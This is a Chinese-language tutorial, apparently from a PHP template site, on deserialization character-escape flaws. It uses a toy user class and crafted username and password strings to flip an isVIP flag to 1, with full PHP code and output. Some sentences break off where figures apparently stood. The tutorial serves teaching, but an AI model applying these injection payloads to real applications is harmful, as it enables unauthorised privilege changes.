当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
PHP反序列化字符逃逸的原理
详解PHP反序列化字符逃逸对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。
过滤后字符变多 假设我们先定义一个 class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } 可以看到当这个类被初始化的时候, 接下来把完整代码贴出来,便于我们分析。 <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } $a = new user("admin","123456"); $a_seri = serialize($a); echo $a_seri; ?> 这一段程序的输出结果如下: O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 可以看到,对象序列化之后的 这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下: function filter($s){ return str_replace("admin","hacker",$s); } 因此整段程序如下: <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user("admin","123456"); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?> 这一段程序的输出为: O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 这个时候我们把这两个程序的输出拿出来对比一下: O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤 可以看到已过滤字符串中的 s:5:"admin"; s:5:"hacker"; 在这个时候,对于我们,在新建对象的时候,传入的 接下来明确我们的目标:将 首先我们将我们的现有子串和目标子串进行对比: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 也就是说,我们要在 首先计算我们需要注入的目标子串的长度: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的长度为47 因为我们需要逃逸的字符串长度为 因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下: adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} 完整代码如下: <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?> 程序输出结果为: O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。 后面的注入子串也正好完成了逃逸。
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下: <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?> 程序输出如下: object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) } 可以看到这个时候, 过滤后字符变少 上面描述了PHP反序列化字符逃逸中字符变多的情况。 以下开始解释反序列化字符逃逸变少的情况。 首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。 完整代码如下: <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('admin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?> 得到结果: O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 同样比较一下现有子串和目标子串: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。 计算一下目标子串的长度: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47 再计算一下到下一个可控变量的字符串长度: ";s:8:"password";s:6:" //长度为22 因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整) 完整代码如下:(这里的变量里一共有22个admin) <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?> 输出结果: 注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。 O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下: hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6: 也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 完整代码为: <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?> 输出: O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;} 仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105 造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确 解决办法是:多添加2个admin,这样就可以补上缺少的字符。 修改后代码如下: <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?> 输出结果为: O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;} 分析一下输出结果: 可以看到,这一下就对了。 我们将对象反序列化然后输出,代码如下: <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?> 得到结果: object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) } 可以看到,这个时候 推荐学习:《PHP视频教程》 以上就是深入了解PHP中反序列化字符逃逸的原理的详细内容,更多请关注模板之家(www.mb5.com.cn)其它相关文章! |